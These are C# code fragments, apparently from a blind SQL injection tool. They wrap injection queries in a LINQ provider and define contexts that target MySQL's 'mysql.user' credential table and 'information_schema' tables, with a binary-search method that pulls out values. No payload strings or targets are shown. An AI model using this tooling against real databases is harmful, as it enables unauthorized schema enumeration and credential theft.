/// <summary>
/// This constructor is called by the client to create the data source.
/// </summary>
public InjectionDbSet(BlindSqlInjection injection, QualifiedName table)
{
Provider = new InjectionQueryProvider(injection, table);
Expression = Expression.Constant(this);
Injection = injection;
Table = table;
Operators = new Collection <ResultOperatorBase>();
}
/// <summary>
/// This constructor is called by Provider.CreateQuery().
/// </summary>
/// <param name="expression"></param>
public InjectionDbSet(InjectionQueryProvider provider, Expression expression, BlindSqlInjection injection, QualifiedName table, ICollection <ResultOperatorBase> operators)
{
if (provider == null)
{
throw new ArgumentNullException("provider");
}
if (expression == null)
{
throw new ArgumentNullException("expression");
}
if (!typeof(IQueryable <TData>).IsAssignableFrom(expression.Type))
{
throw new ArgumentOutOfRangeException("expression");
}
Provider = provider;
Expression = expression;
Injection = injection;
Table = table;
Operators = operators;
}
public MySqlDbContext(BlindSqlInjection injection)
{
Injection = injection;
Users = new InjectionDbSet <User>(Injection, new QualifiedName("mysql", "user"));
}
public MySqlInjectionContext(BlindSqlInjection injection)
{
Injection = injection;
}
public InformationSchemaDbContext(BlindSqlInjection injection)
{
Injection = injection;
Tables = new InjectionDbSet <Table>(Injection, new QualifiedName("information_schema", "tables"));
Columns = new InjectionDbSet <Column>(Injection, new QualifiedName("information_schema", "columns"));
}
public InjectionQueryProvider(BlindSqlInjection injection, QualifiedName table)
{
Injection = injection;
Table = table;
Operators = new Collection <ResultOperatorBase>();
}
public static Task <int> CountAsync <T>(this IQueryable <T> query, int estimation = 1000)
{
BlindSqlInjection injection = (query as IInjectionDbSet).Injection;
return(injection.GetExpressionValueUsingBinarySearchAsync(injection.Context.Dual.Select(_ => query.Count()), estimation));
}
